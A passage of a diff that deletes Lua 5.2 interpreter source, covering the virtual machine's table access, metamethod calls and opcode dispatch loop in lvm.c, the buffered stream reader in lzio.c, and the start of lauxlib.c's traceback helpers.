LUA_HOOKCOUNT, -1); /* call count hook */ - if (mask & LUA_MASKLINE) { - Proto *p = ci_func(ci)->p; - int npc = pcRel(ci->u.l.savedpc, p); - int newline = getfuncline(p, npc); - if (npc == 0 || /* call linehook when enter a new function, */ - ci->u.l.savedpc <= L->oldpc || /* when jump back (loop), or when */ - newline != getfuncline(p, pcRel(L->oldpc, p))) /* enter a new line */ - luaD_hook(L, LUA_HOOKLINE, newline); /* call line hook */ - } - L->oldpc = ci->u.l.savedpc; - if (L->status == LUA_YIELD) { /* did hook yield? */ - if (counthook) - L->hookcount = 1; /* undo decrement to zero */ - ci->u.l.savedpc--; /* undo increment (resume will increment it again) */ - ci->callstatus |= CIST_HOOKYIELD; /* mark that it yieled */ - ci->func = L->top - 1; /* protect stack below results */ - luaD_throw(L, LUA_YIELD); - } -} - - -static void callTM (lua_State *L, const TValue *f, const TValue *p1, - const TValue *p2, TValue *p3, int hasres) { - ptrdiff_t result = savestack(L, p3); - setobj2s(L, L->top++, f); /* push function */ - setobj2s(L, L->top++, p1); /* 1st argument */ - setobj2s(L, L->top++, p2); /* 2nd argument */ - if (!hasres) /* no result? 'p3' is third argument */ - setobj2s(L, L->top++, p3); /* 3rd argument */ - luaD_checkstack(L, 0); - /* metamethod may yield only when called from Lua code */ - luaD_call(L, L->top - (4 - hasres), hasres, isLua(L->ci)); - if (hasres) { /* if has result, move it to its place */ - p3 = restorestack(L, result); - setobjs2s(L, p3, --L->top); - } -} - - -void luaV_gettable (lua_State *L, const TValue *t, TValue *key, StkId val) { - int loop; - for (loop = 0; loop < MAXTAGLOOP; loop++) { - const TValue *tm; - if (ttistable(t)) { /* `t' is a table? */ - Table *h = hvalue(t); - const TValue *res = luaH_get(h, key); /* do a primitive get */ - if (!ttisnil(res) || /* result is not nil? */ - (tm = fasttm(L, h->metatable, TM_INDEX)) == NULL) { /* or no TM? */ - setobj2s(L, val, res); - return; - } - /* else will try the tag method */ - } - else if (ttisnil(tm = luaT_gettmbyobj(L, t, TM_INDEX))) - luaG_typeerror(L, t, "index"); - if (ttisfunction(tm)) { - callTM(L, tm, t, key, val, 1); - return; - } - t = tm; /* else repeat with 'tm' */ - } - luaG_runerror(L, "loop in gettable"); -} - - -void luaV_settable (lua_State *L, const TValue *t, TValue *key, StkId val) { - int loop; - for (loop = 0; loop < MAXTAGLOOP; loop++) { - const TValue *tm; - if (ttistable(t)) { /* `t' is a table? */ - Table *h = hvalue(t); - TValue *oldval = cast(TValue *, luaH_get(h, key)); - /* if previous value is not nil, there must be a previous entry - in the table; moreover, a metamethod has no relevance */ - if (!ttisnil(oldval) || - /* previous value is nil; must check the metamethod */ - ((tm = fasttm(L, h->metatable, TM_NEWINDEX)) == NULL && - /* no metamethod; is there a previous entry in the table? */ - (oldval != luaO_nilobject || - /* no previous entry; must create one. (The next test is - always true; we only need the assignment.) */ - (oldval = luaH_newkey(L, h, key), 1)))) { - /* no metamethod and (now) there is an entry with given key */ - setobj2t(L, oldval, val); /* assign new value to that entry */ - invalidateTMcache(h); - luaC_barrierback(L, obj2gco(h), val); - return; - } - /* else will try the metamethod */ - } - else /* not a table; check metamethod */ - if (ttisnil(tm = luaT_gettmbyobj(L, t, TM_NEWINDEX))) - luaG_typeerror(L, t, "index"); - /* there is a metamethod */ - if (ttisfunction(tm)) { - callTM(L, tm, t, key, val, 0); - return; - } - t = tm; /* else repeat with 'tm' */ - } - luaG_runerror(L, "loop in settable"); -} - - -static int call_binTM (lua_State *L, const TValue *p1, const TValue *p2, - StkId res, TMS event) { - const TValue *tm = luaT_gettmbyobj(L, p1, event); /* try first operand */ - if (ttisnil(tm)) - tm = luaT_gettmbyobj(L, p2, event); /* try second operand */ - if (ttisnil(tm)) return 0; - callTM(L, tm, p1, p2, res, 1); - return 1; -} - - -static const TValue *get_equalTM (lua_State *L, Table *mt1, Table *mt2, - TMS event) { - const TValue *tm1 = fasttm(L, mt1, event); - const TValue *tm2; - if (tm1 == NULL) return NULL; /* no metamethod */ - if (mt1 == mt2) return tm1; /* same metatables => same metamethods */ - tm2 = fasttm(L, mt2, event); - if (tm2 == NULL) return NULL; /* no metamethod */ - if (luaV_rawequalobj(tm1, tm2)) /* same metamethods? */ - return tm1; - return NULL; -} - - -static int call_orderTM (lua_State *L, const TValue *p1, const TValue *p2, - TMS event) { - if (!call_binTM(L, p1, p2, L->top, event)) - return -1; /* no metamethod */ - else - return !l_isfalse(L->top); -} - - -static int l_strcmp (const TString *ls, const TString *rs) { - const char *l = getstr(ls); - size_t ll = ls->tsv.len; - const char *r = getstr(rs); - size_t lr = rs->tsv.len; - for (;;) { - int temp = strcoll(l, r); - if (temp != 0) return temp; - else { /* strings are equal up to a `\0' */ - size_t len = strlen(l); /* index of first `\0' in both strings */ - if (len == lr) /* r is finished? */ - return (len == ll) ? 0 : 1; - else if (len == ll) /* l is finished? */ - return -1; /* l is smaller than r (because r is not finished) */ - /* both strings longer than `len'; go on comparing (after the `\0') */ - len++; - l += len; ll -= len; r += len; lr -= len; - } - } -} - - -int luaV_lessthan (lua_State *L, const TValue *l, const TValue *r) { - int res; - if (ttisnumber(l) && ttisnumber(r)) - return luai_numlt(L, nvalue(l), nvalue(r)); - else if (ttisstring(l) && ttisstring(r)) - return l_strcmp(rawtsvalue(l), rawtsvalue(r)) < 0; - else if ((res = call_orderTM(L, l, r, TM_LT)) < 0) - luaG_ordererror(L, l, r); - return res; -} - - -int luaV_lessequal (lua_State *L, const TValue *l, const TValue *r) { - int res; - if (ttisnumber(l) && ttisnumber(r)) - return luai_numle(L, nvalue(l), nvalue(r)); - else if (ttisstring(l) && ttisstring(r)) - return l_strcmp(rawtsvalue(l), rawtsvalue(r)) <= 0; - else if ((res = call_orderTM(L, l, r, TM_LE)) >= 0) /* first try `le' */ - return res; - else if ((res = call_orderTM(L, r, l, TM_LT)) < 0) /* else try `lt' */ - luaG_ordererror(L, l, r); - return !res; -} - - -/* -** equality of Lua values. L == NULL means raw equality (no metamethods) -*/ -int luaV_equalobj_ (lua_State *L, const TValue *t1, const TValue *t2) { - const TValue *tm; - lua_assert(ttisequal(t1, t2)); - switch (ttype(t1)) { - case LUA_TNIL: return 1; - case LUA_TNUMBER: return luai_numeq(nvalue(t1), nvalue(t2)); - case LUA_TBOOLEAN: return bvalue(t1) == bvalue(t2); /* true must be 1 !! */ - case LUA_TLIGHTUSERDATA: return pvalue(t1) == pvalue(t2); - case LUA_TLCF: return fvalue(t1) == fvalue(t2); - case LUA_TSHRSTR: return eqshrstr(rawtsvalue(t1), rawtsvalue(t2)); - case LUA_TLNGSTR: return luaS_eqlngstr(rawtsvalue(t1), rawtsvalue(t2)); - case LUA_TUSERDATA: { - if (uvalue(t1) == uvalue(t2)) return 1; - else if (L == NULL) return 0; - tm = get_equalTM(L, uvalue(t1)->metatable, uvalue(t2)->metatable, TM_EQ); - break; /* will try TM */ - } - case LUA_TTABLE: { - if (hvalue(t1) == hvalue(t2)) return 1; - else if (L == NULL) return 0; - tm = get_equalTM(L, hvalue(t1)->metatable, hvalue(t2)->metatable, TM_EQ); - break; /* will try TM */ - } - default: - lua_assert(iscollectable(t1)); - return gcvalue(t1) == gcvalue(t2); - } - if (tm == NULL) return 0; /* no TM? */ - callTM(L, tm, t1, t2, L->top, 1); /* call TM */ - return !l_isfalse(L->top); -} - - -void luaV_concat (lua_State *L, int total) { - lua_assert(total >= 2); - do { - StkId top = L->top; - int n = 2; /* number of elements handled in this pass (at least 2) */ - if (!(ttisstring(top-2) || ttisnumber(top-2)) || !tostring(L, top-1)) { - if (!call_binTM(L, top-2, top-1, top-2, TM_CONCAT)) - luaG_concaterror(L, top-2, top-1); - } - else if (tsvalue(top-1)->len == 0) /* second operand is empty? */ - (void)tostring(L, top - 2); /* result is first operand */ - else if (ttisstring(top-2) && tsvalue(top-2)->len == 0) { - setobjs2s(L, top - 2, top - 1); /* result is second op. */ - } - else { - /* at least two non-empty string values; get as many as possible */ - size_t tl = tsvalue(top-1)->len; - char *buffer; - int i; - /* collect total length */ - for (i = 1; i < total && tostring(L, top-i-1); i++) { - size_t l = tsvalue(top-i-1)->len; - if (l >= (MAX_SIZET/sizeof(char)) - tl) - luaG_runerror(L, "string length overflow"); - tl += l; - } - buffer = luaZ_openspace(L, &G(L)->buff, tl); - tl = 0; - n = i; - do { /* concat all strings */ - size_t l = tsvalue(top-i)->len; - memcpy(buffer+tl, svalue(top-i), l * sizeof(char)); - tl += l; - } while (--i > 0); - setsvalue2s(L, top-n, luaS_newlstr(L, buffer, tl)); - } - total -= n-1; /* got 'n' strings to create 1 new */ - L->top -= n-1; /* popped 'n' strings and pushed one */ - } while (total > 1); /* repeat until only 1 result left */ -} - - -void luaV_objlen (lua_State *L, StkId ra, const TValue *rb) { - const TValue *tm; - switch (ttypenv(rb)) { - case LUA_TTABLE: { - Table *h = hvalue(rb); - tm = fasttm(L, h->metatable, TM_LEN); - if (tm) break; /* metamethod? break switch to call it */ - setnvalue(ra, cast_num(luaH_getn(h))); /* else primitive len */ - return; - } - case LUA_TSTRING: { - setnvalue(ra, cast_num(tsvalue(rb)->len)); - return; - } - default: { /* try metamethod */ - tm = luaT_gettmbyobj(L, rb, TM_LEN); - if (ttisnil(tm)) /* no metamethod? */ - luaG_typeerror(L, rb, "get length of"); - break; - } - } - callTM(L, tm, rb, rb, ra, 1); -} - - -void luaV_arith (lua_State *L, StkId ra, const TValue *rb, - const TValue *rc, TMS op) { - TValue tempb, tempc; - const TValue *b, *c; - if ((b = luaV_tonumber(rb, &tempb)) != NULL && - (c = luaV_tonumber(rc, &tempc)) != NULL) { - lua_Number res = luaO_arith(op - TM_ADD + LUA_OPADD, nvalue(b), nvalue(c)); - setnvalue(ra, res); - } - else if (!call_binTM(L, rb, rc, ra, op)) - luaG_aritherror(L, rb, rc); -} - - -/* -** check whether cached closure in prototype 'p' may be reused, that is, -** whether there is a cached closure with the same upvalues needed by -** new closure to be created. -*/ -static Closure *getcached (Proto *p, UpVal **encup, StkId base) { - Closure *c = p->cache; - if (c != NULL) { /* is there a cached closure? */ - int nup = p->sizeupvalues; - Upvaldesc *uv = p->upvalues; - int i; - for (i = 0; i < nup; i++) { /* check whether it has right upvalues */ - TValue *v = uv[i].instack ? base + uv[i].idx : encup[uv[i].idx]->v; - if (c->l.upvals[i]->v != v) - return NULL; /* wrong upvalue; cannot reuse closure */ - } - } - return c; /* return cached closure (or NULL if no cached closure) */ -} - - -/* -** create a new Lua closure, push it in the stack, and initialize -** its upvalues. Note that the call to 'luaC_barrierproto' must come -** before the assignment to 'p->cache', as the function needs the -** original value of that field. -*/ -static void pushclosure (lua_State *L, Proto *p, UpVal **encup, StkId base, - StkId ra) { - int nup = p->sizeupvalues; - Upvaldesc *uv = p->upvalues; - int i; - Closure *ncl = luaF_newLclosure(L, nup); - ncl->l.p = p; - setclLvalue(L, ra, ncl); /* anchor new closure in stack */ - for (i = 0; i < nup; i++) { /* fill in its upvalues */ - if (uv[i].instack) /* upvalue refers to local variable? */ - ncl->l.upvals[i] = luaF_findupval(L, base + uv[i].idx); - else /* get upvalue from enclosing function */ - ncl->l.upvals[i] = encup[uv[i].idx]; - } - luaC_barrierproto(L, p, ncl); - p->cache = ncl; /* save it on cache for reuse */ -} - - -/* -** finish execution of an opcode interrupted by an yield -*/ -void luaV_finishOp (lua_State *L) { - CallInfo *ci = L->ci; - StkId base = ci->u.l.base; - Instruction inst = *(ci->u.l.savedpc - 1); /* interrupted instruction */ - OpCode op = GET_OPCODE(inst); - switch (op) { /* finish its execution */ - case OP_ADD: case OP_SUB: case OP_MUL: case OP_DIV: - case OP_MOD: case OP_POW: case OP_UNM: case OP_LEN: - case OP_GETTABUP: case OP_GETTABLE: case OP_SELF: { - setobjs2s(L, base + GETARG_A(inst), --L->top); - break; - } - case OP_LE: case OP_LT: case OP_EQ: { - int res = !l_isfalse(L->top - 1); - L->top--; - /* metamethod should not be called when operand is K */ - lua_assert(!ISK(GETARG_B(inst))); - if (op == OP_LE && /* "<=" using "<" instead? */ - ttisnil(luaT_gettmbyobj(L, base + GETARG_B(inst), TM_LE))) - res = !res; /* invert result */ - lua_assert(GET_OPCODE(*ci->u.l.savedpc) == OP_JMP); - if (res != GETARG_A(inst)) /* condition failed? */ - ci->u.l.savedpc++; /* skip jump instruction */ - break; - } - case OP_CONCAT: { - StkId top = L->top - 1; /* top when 'call_binTM' was called */ - int b = GETARG_B(inst); /* first element to concatenate */ - int total = cast_int(top - 1 - (base + b)); /* yet to concatenate */ - setobj2s(L, top - 2, top); /* put TM result in proper position */ - if (total > 1) { /* are there elements to concat? */ - L->top = top - 1; /* top is one after last element (at top-2) */ - luaV_concat(L, total); /* concat them (may yield again) */ - } - /* move final result to final position */ - setobj2s(L, ci->u.l.base + GETARG_A(inst), L->top - 1); - L->top = ci->top; /* restore top */ - break; - } - case OP_TFORCALL: { - lua_assert(GET_OPCODE(*ci->u.l.savedpc) == OP_TFORLOOP); - L->top = ci->top; /* correct top */ - break; - } - case OP_CALL: { - if (GETARG_C(inst) - 1 >= 0) /* nresults >= 0? */ - L->top = ci->top; /* adjust results */ - break; - } - case OP_TAILCALL: case OP_SETTABUP: case OP_SETTABLE: - break; - default: lua_assert(0); - } -} - - - -/* -** some macros for common tasks in `luaV_execute' -*/ - -#if !defined luai_runtimecheck -#define luai_runtimecheck(L, c) /* void */ -#endif - - -#define RA(i) (base+GETARG_A(i)) -/* to be used after possible stack reallocation */ -#define RB(i) check_exp(getBMode(GET_OPCODE(i)) == OpArgR, base+GETARG_B(i)) -#define RC(i) check_exp(getCMode(GET_OPCODE(i)) == OpArgR, base+GETARG_C(i)) -#define RKB(i) check_exp(getBMode(GET_OPCODE(i)) == OpArgK, \ - ISK(GETARG_B(i)) ? k+INDEXK(GETARG_B(i)) : base+GETARG_B(i)) -#define RKC(i) check_exp(getCMode(GET_OPCODE(i)) == OpArgK, \ - ISK(GETARG_C(i)) ? k+INDEXK(GETARG_C(i)) : base+GETARG_C(i)) -#define KBx(i) \ - (k + (GETARG_Bx(i) != 0 ? GETARG_Bx(i) - 1 : GETARG_Ax(*ci->u.l.savedpc++))) - - -/* execute a jump instruction */ -#define dojump(ci,i,e) \ - { int a = GETARG_A(i); \ - if (a > 0) luaF_close(L, ci->u.l.base + a - 1); \ - ci->u.l.savedpc += GETARG_sBx(i) + e; } - -/* for test instructions, execute the jump instruction that follows it */ -#define donextjump(ci) { i = *ci->u.l.savedpc; dojump(ci, i, 1); } - - -#define Protect(x) { {x;}; base = ci->u.l.base; } - -#define checkGC(L,c) \ - Protect( luaC_condGC(L,{L->top = (c); /* limit of live values */ \ - luaC_step(L); \ - L->top = ci->top;}) /* restore top */ \ - luai_threadyield(L); ) - - -#define arith_op(op,tm) { \ - TValue *rb = RKB(i); \ - TValue *rc = RKC(i); \ - if (ttisnumber(rb) && ttisnumber(rc)) { \ - lua_Number nb = nvalue(rb), nc = nvalue(rc); \ - setnvalue(ra, op(L, nb, nc)); \ - } \ - else { Protect(luaV_arith(L, ra, rb, rc, tm)); } } - - -#define vmdispatch(o) switch(o) -#define vmcase(l,b) case l: {b} break; -#define vmcasenb(l,b) case l: {b} /* nb = no break */ - -void luaV_execute (lua_State *L) { - CallInfo *ci = L->ci; - LClosure *cl; - TValue *k; - StkId base; - newframe: /* reentry point when frame changes (call/return) */ - lua_assert(ci == L->ci); - cl = clLvalue(ci->func); - k = cl->p->k; - base = ci->u.l.base; - /* main loop of interpreter */ - for (;;) { - Instruction i = *(ci->u.l.savedpc++); - StkId ra; - if ((L->hookmask & (LUA_MASKLINE | LUA_MASKCOUNT)) && - (--L->hookcount == 0 || L->hookmask & LUA_MASKLINE)) { - Protect(traceexec(L)); - } - /* WARNING: several calls may realloc the stack and invalidate `ra' */ - ra = RA(i); - lua_assert(base == ci->u.l.base); - lua_assert(base <= L->top && L->top < L->stack + L->stacksize); - vmdispatch (GET_OPCODE(i)) { - vmcase(OP_MOVE, - setobjs2s(L, ra, RB(i)); - ) - vmcase(OP_LOADK, - TValue *rb = k + GETARG_Bx(i); - setobj2s(L, ra, rb); - ) - vmcase(OP_LOADKX, - TValue *rb; - lua_assert(GET_OPCODE(*ci->u.l.savedpc) == OP_EXTRAARG); - rb = k + GETARG_Ax(*ci->u.l.savedpc++); - setobj2s(L, ra, rb); - ) - vmcase(OP_LOADBOOL, - setbvalue(ra, GETARG_B(i)); - if (GETARG_C(i)) ci->u.l.savedpc++; /* skip next instruction (if C) */ - ) - vmcase(OP_LOADNIL, - int b = GETARG_B(i); - do { - setnilvalue(ra++); - } while (b--); - ) - vmcase(OP_GETUPVAL, - int b = GETARG_B(i); - setobj2s(L, ra, cl->upvals[b]->v); - ) - vmcase(OP_GETTABUP, - int b = GETARG_B(i); - Protect(luaV_gettable(L, cl->upvals[b]->v, RKC(i), ra)); - ) - vmcase(OP_GETTABLE, - Protect(luaV_gettable(L, RB(i), RKC(i), ra)); - ) - vmcase(OP_SETTABUP, - int a = GETARG_A(i); - Protect(luaV_settable(L, cl->upvals[a]->v, RKB(i), RKC(i))); - ) - vmcase(OP_SETUPVAL, - UpVal *uv = cl->upvals[GETARG_B(i)]; - setobj(L, uv->v, ra); - luaC_barrier(L, uv, ra); - ) - vmcase(OP_SETTABLE, - Protect(luaV_settable(L, ra, RKB(i), RKC(i))); - ) - vmcase(OP_NEWTABLE, - int b = GETARG_B(i); - int c = GETARG_C(i); - Table *t = luaH_new(L); - sethvalue(L, ra, t); - if (b != 0 || c != 0) - luaH_resize(L, t, luaO_fb2int(b), luaO_fb2int(c)); - checkGC(L, ra + 1); - ) - vmcase(OP_SELF, - StkId rb = RB(i); - setobjs2s(L, ra+1, rb); - Protect(luaV_gettable(L, rb, RKC(i), ra)); - ) - vmcase(OP_ADD, - arith_op(luai_numadd, TM_ADD); - ) - vmcase(OP_SUB, - arith_op(luai_numsub, TM_SUB); - ) - vmcase(OP_MUL, - arith_op(luai_nummul, TM_MUL); - ) - vmcase(OP_DIV, - arith_op(luai_numdiv, TM_DIV); - ) - vmcase(OP_MOD, - arith_op(luai_nummod, TM_MOD); - ) - vmcase(OP_POW, - arith_op(luai_numpow, TM_POW); - ) - vmcase(OP_UNM, - TValue *rb = RB(i); - if (ttisnumber(rb)) { - lua_Number nb = nvalue(rb); - setnvalue(ra, luai_numunm(L, nb)); - } - else { - Protect(luaV_arith(L, ra, rb, rb, TM_UNM)); - } - ) - vmcase(OP_NOT, - TValue *rb = RB(i); - int res = l_isfalse(rb); /* next assignment may change this value */ - setbvalue(ra, res); - ) - vmcase(OP_LEN, - Protect(luaV_objlen(L, ra, RB(i))); - ) - vmcase(OP_CONCAT, - int b = GETARG_B(i); - int c = GETARG_C(i); - StkId rb; - L->top = base + c + 1; /* mark the end of concat operands */ - Protect(luaV_concat(L, c - b + 1)); - ra = RA(i); /* 'luav_concat' may invoke TMs and move the stack */ - rb = b + base; - setobjs2s(L, ra, rb); - checkGC(L, (ra >= rb ? ra + 1 : rb)); - L->top = ci->top; /* restore top */ - ) - vmcase(OP_JMP, - dojump(ci, i, 0); - ) - vmcase(OP_EQ, - TValue *rb = RKB(i); - TValue *rc = RKC(i); - Protect( - if (cast_int(equalobj(L, rb, rc)) != GETARG_A(i)) - ci->u.l.savedpc++; - else - donextjump(ci); - ) - ) - vmcase(OP_LT, - Protect( - if (luaV_lessthan(L, RKB(i), RKC(i)) != GETARG_A(i)) - ci->u.l.savedpc++; - else - donextjump(ci); - ) - ) - vmcase(OP_LE, - Protect( - if (luaV_lessequal(L, RKB(i), RKC(i)) != GETARG_A(i)) - ci->u.l.savedpc++; - else - donextjump(ci); - ) - ) - vmcase(OP_TEST, - if (GETARG_C(i) ? l_isfalse(ra) : !l_isfalse(ra)) - ci->u.l.savedpc++; - else - donextjump(ci); - ) - vmcase(OP_TESTSET, - TValue *rb = RB(i); - if (GETARG_C(i) ? l_isfalse(rb) : !l_isfalse(rb)) - ci->u.l.savedpc++; - else { - setobjs2s(L, ra, rb); - donextjump(ci); - } - ) - vmcase(OP_CALL, - int b = GETARG_B(i); - int nresults = GETARG_C(i) - 1; - if (b != 0) L->top = ra+b; /* else previous instruction set top */ - if (luaD_precall(L, ra, nresults)) { /* C function? */ - if (nresults >= 0) L->top = ci->top; /* adjust results */ - base = ci->u.l.base; - } - else { /* Lua function */ - ci = L->ci; - ci->callstatus |= CIST_REENTRY; - goto newframe; /* restart luaV_execute over new Lua function */ - } - ) - vmcase(OP_TAILCALL, - int b = GETARG_B(i); - if (b != 0) L->top = ra+b; /* else previous instruction set top */ - lua_assert(GETARG_C(i) - 1 == LUA_MULTRET); - if (luaD_precall(L, ra, LUA_MULTRET)) /* C function? */ - base = ci->u.l.base; - else { - /* tail call: put called frame (n) in place of caller one (o) */ - CallInfo *nci = L->ci; /* called frame */ - CallInfo *oci = nci->previous; /* caller frame */ - StkId nfunc = nci->func; /* called function */ - StkId ofunc = oci->func; /* caller function */ - /* last stack slot filled by 'precall' */ - StkId lim = nci->u.l.base + getproto(nfunc)->numparams; - int aux; - /* close all upvalues from previous call */ - if (cl->p->sizep > 0) luaF_close(L, oci->u.l.base); - /* move new frame into old one */ - for (aux = 0; nfunc + aux < lim; aux++) - setobjs2s(L, ofunc + aux, nfunc + aux); - oci->u.l.base = ofunc + (nci->u.l.base - nfunc); /* correct base */ - oci->top = L->top = ofunc + (L->top - nfunc); /* correct top */ - oci->u.l.savedpc = nci->u.l.savedpc; - oci->callstatus |= CIST_TAIL; /* function was tail called */ - ci = L->ci = oci; /* remove new frame */ - lua_assert(L->top == oci->u.l.base + getproto(ofunc)->maxstacksize); - goto newframe; /* restart luaV_execute over new Lua function */ - } - ) - vmcasenb(OP_RETURN, - int b = GETARG_B(i); - if (b != 0) L->top = ra+b-1; - if (cl->p->sizep > 0) luaF_close(L, base); - b = luaD_poscall(L, ra); - if (!(ci->callstatus & CIST_REENTRY)) /* 'ci' still the called one */ - return; /* external invocation: return */ - else { /* invocation via reentry: continue execution */ - ci = L->ci; - if (b) L->top = ci->top; - lua_assert(isLua(ci)); - lua_assert(GET_OPCODE(*((ci)->u.l.savedpc - 1)) == OP_CALL); - goto newframe; /* restart luaV_execute over new Lua function */ - } - ) - vmcase(OP_FORLOOP, - lua_Number step = nvalue(ra+2); - lua_Number idx = luai_numadd(L, nvalue(ra), step); /* increment index */ - lua_Number limit = nvalue(ra+1); - if (luai_numlt(L, 0, step) ? luai_numle(L, idx, limit) - : luai_numle(L, limit, idx)) { - ci->u.l.savedpc += GETARG_sBx(i); /* jump back */ - setnvalue(ra, idx); /* update internal index... */ - setnvalue(ra+3, idx); /* ...and external index */ - } - ) - vmcase(OP_FORPREP, - const TValue *init = ra; - const TValue *plimit = ra+1; - const TValue *pstep = ra+2; - if (!tonumber(init, ra)) - luaG_runerror(L, LUA_QL("for") " initial value must be a number"); - else if (!tonumber(plimit, ra+1)) - luaG_runerror(L, LUA_QL("for") " limit must be a number"); - else if (!tonumber(pstep, ra+2)) - luaG_runerror(L, LUA_QL("for") " step must be a number"); - setnvalue(ra, luai_numsub(L, nvalue(ra), nvalue(pstep))); - ci->u.l.savedpc += GETARG_sBx(i); - ) - vmcasenb(OP_TFORCALL, - StkId cb = ra + 3; /* call base */ - setobjs2s(L, cb+2, ra+2); - setobjs2s(L, cb+1, ra+1); - setobjs2s(L, cb, ra); - L->top = cb + 3; /* func. + 2 args (state and index) */ - Protect(luaD_call(L, cb, GETARG_C(i), 1)); - L->top = ci->top; - i = *(ci->u.l.savedpc++); /* go to next instruction */ - ra = RA(i); - lua_assert(GET_OPCODE(i) == OP_TFORLOOP); - goto l_tforloop; - ) - vmcase(OP_TFORLOOP, - l_tforloop: - if (!ttisnil(ra + 1)) { /* continue loop? */ - setobjs2s(L, ra, ra + 1); /* save control variable */ - ci->u.l.savedpc += GETARG_sBx(i); /* jump back */ - } - ) - vmcase(OP_SETLIST, - int n = GETARG_B(i); - int c = GETARG_C(i); - int last; - Table *h; - if (n == 0) n = cast_int(L->top - ra) - 1; - if (c == 0) { - lua_assert(GET_OPCODE(*ci->u.l.savedpc) == OP_EXTRAARG); - c = GETARG_Ax(*ci->u.l.savedpc++); - } - luai_runtimecheck(L, ttistable(ra)); - h = hvalue(ra); - last = ((c-1)*LFIELDS_PER_FLUSH) + n; - if (last > h->sizearray) /* needs more space? */ - luaH_resizearray(L, h, last); /* pre-allocate it at once */ - for (; n > 0; n--) { - TValue *val = ra+n; - luaH_setint(L, h, last--, val); - luaC_barrierback(L, obj2gco(h), val); - } - L->top = ci->top; /* correct top (in case of previous open call) */ - ) - vmcase(OP_CLOSURE, - Proto *p = cl->p->p[GETARG_Bx(i)]; - Closure *ncl = getcached(p, cl->upvals, base); /* cached closure */ - if (ncl == NULL) /* no match? */ - pushclosure(L, p, cl->upvals, base, ra); /* create a new one */ - else - setclLvalue(L, ra, ncl); /* push cashed closure */ - checkGC(L, ra + 1); - ) - vmcase(OP_VARARG, - int b = GETARG_B(i) - 1; - int j; - int n = cast_int(base - ci->func) - cl->p->numparams - 1; - if (b < 0) { /* B == 0? */ - b = n; /* get all var. arguments */ - Protect(luaD_checkstack(L, n)); - ra = RA(i); /* previous call may change the stack */ - L->top = ra + n; - } - for (j = 0; j < b; j++) { - if (j < n) { - setobjs2s(L, ra + j, base - n + j); - } - else { - setnilvalue(ra + j); - } - } - ) - vmcase(OP_EXTRAARG, - lua_assert(0); - ) - } - } -} - -/* -** $Id: lzio.c,v 1.35 2012/05/14 13:34:18 roberto Exp $ -** Buffered streams -** See Copyright Notice in lua.h -*/ - - -#include - -#define lzio_c -#define LUA_CORE - - - - -int luaZ_fill (ZIO *z) { - size_t size; - lua_State *L = z->L; - const char *buff; - lua_unlock(L); - buff = z->reader(L, z->data, &size); - lua_lock(L); - if (buff == NULL || size == 0) - return EOZ; - z->n = size - 1; /* discount char being returned */ - z->p = buff; - return cast_uchar(*(z->p++)); -} - - -void luaZ_init (lua_State *L, ZIO *z, lua_Reader reader, void *data) { - z->L = L; - z->reader = reader; - z->data = data; - z->n = 0; - z->p = NULL; -} - - -/* --------------------------------------------------------------- read --- */ -size_t luaZ_read (ZIO *z, void *b, size_t n) { - while (n) { - size_t m; - if (z->n == 0) { /* no bytes in buffer? */ - if (luaZ_fill(z) == EOZ) /* try to read more */ - return n; /* no more input; return number of missing bytes */ - else { - z->n++; /* luaZ_fill consumed first byte; put it back */ - z->p--; - } - } - m = (n <= z->n) ? n : z->n; /* min. between n and z->n */ - memcpy(b, z->p, m); - z->n -= m; - z->p += m; - b = (char *)b + m; - n -= m; - } - return 0; -} - -/* ------------------------------------------------------------------------ */ -char *luaZ_openspace (lua_State *L, Mbuffer *buff, size_t n) { - if (n > buff->buffsize) { - if (n < LUA_MINBUFFER) n = LUA_MINBUFFER; - luaZ_resizebuffer(L, buff, n); - } - return buff->buffer; -} - - -/* -** $Id: lauxlib.c,v 1.244 2012/05/31 20:28:45 roberto Exp $ -** Auxiliary functions for building Lua libraries -** See Copyright Notice in lua.h -*/ - -#include -#include -#include -#include -#include - - -/* This file uses only the official API of Lua. -** Any function declared here could be written as an application function. -*/ - -#define lauxlib_c -#define LUA_LIB - - - - -/* -** {====================================================== -** Traceback -** ======================================================= -*/ - - -#define LEVELS1 12 /* size of the first part of the stack */ -#define LEVELS2 10 /* size of the second part of the stack */ - - - -/* -** search for 'objidx' in table at index -1. -** return 1 + string at top if find a good name. -*/ -static int findfield (lua_State *L, int objidx, int level) { - if (level == 0 || !lua_istable(L, -1)) - return 0; /* not found */ - lua_pushnil(L); /* start 'next' loop */ - while (lua_next(L, -2)) { /* for each pair in table */ - if (lua_type(L, -2) == LUA_TSTRING) { /* ignore non-string keys */ - if (lua_rawequal(L, objidx, -1)) { /* found object? */ - lua_pop(L, 1); /* remove value (but keep name) */ - return 1; - } - else if (findfield(L, objidx, level - 1)) { /* try recursively */ - lua_remove(L, -2); /* remove table (but keep name) */ - lua_pushliteral(L, "."); - lua_insert(L, -2); /* place '.' between the two names */ - lua_concat(L, 3); - return 1; - } - } - lua_pop(L, 1); /* remove value */ - } - return 0; /* not found */ -} - - -static int pushglobalfuncname (lua_State *L, lua_Debug *ar) { - int top = lua_gettop(L); - lua_getinfo(L, "f", ar); /* push function */ - lua_pushglobaltable(L); - if (findfield(L, top + 1, 2)) { - lua_copy(L, -1, top + 1); /* move name to proper place */ - lua_pop(L, 2); /* remove pushed values */ - return 1; - } - else { - lua_settop(L, top); /* remove function and global table */ - return 0; - } -} - - -static void pushfuncname (lua_State *L, lua_Debug *ar) { - if (*ar->namewhat != '\0') /* is there a name? */ - lua_pushfstring(L, "function " LUA_QS, ar->name); - else if (*ar->what == 'm') /* main? */ - lua_pushfstring(L, "main chunk"); - else if (*ar->what == 'C') { - if (pushglobalfuncname(L, ar)) { - lua_pushfstring(L, "function " LUA_QS, lua_tostring(L, -1)); - lua_remove(L, -2); /* remove name */ - } - else - lua_pushliteral(L, "?"); - } - else - lua_pushfstring(L, "function <%s:%d>", ar->short_src, ar->linedefined); -} - - -static int countlevels (lua_State *L) { - lua_Debug ar; - int li = 1, le = 1; - /* find an upper bound */ - while (lua_getstack(L, le, &ar)) { li = le; le *= 2; } - /* do a binary search */ - while (li < le) { - int m = (li + le)/2; - if (lua_getstack(L, m, &ar)) li = m + 1; - else le = m; - } - return le - 1; -} - - -LUALIB_API void luaL_traceback (lua_State *L, lua_State *L1, - const char *msg, int level) { - lua_Debug ar; - int top = lua_gettop(L); - int numlevels = countlevels(L1); - int mark = (numlevels > LEVELS1 + LEVELS2) ? LEVELS1 : 0; - if (msg) lua_pushfstring(L, "%s\n", msg); - lua_pushliteral(L, "stack traceback:"); - while (lua_getstack(L1, level++, &ar)) { - 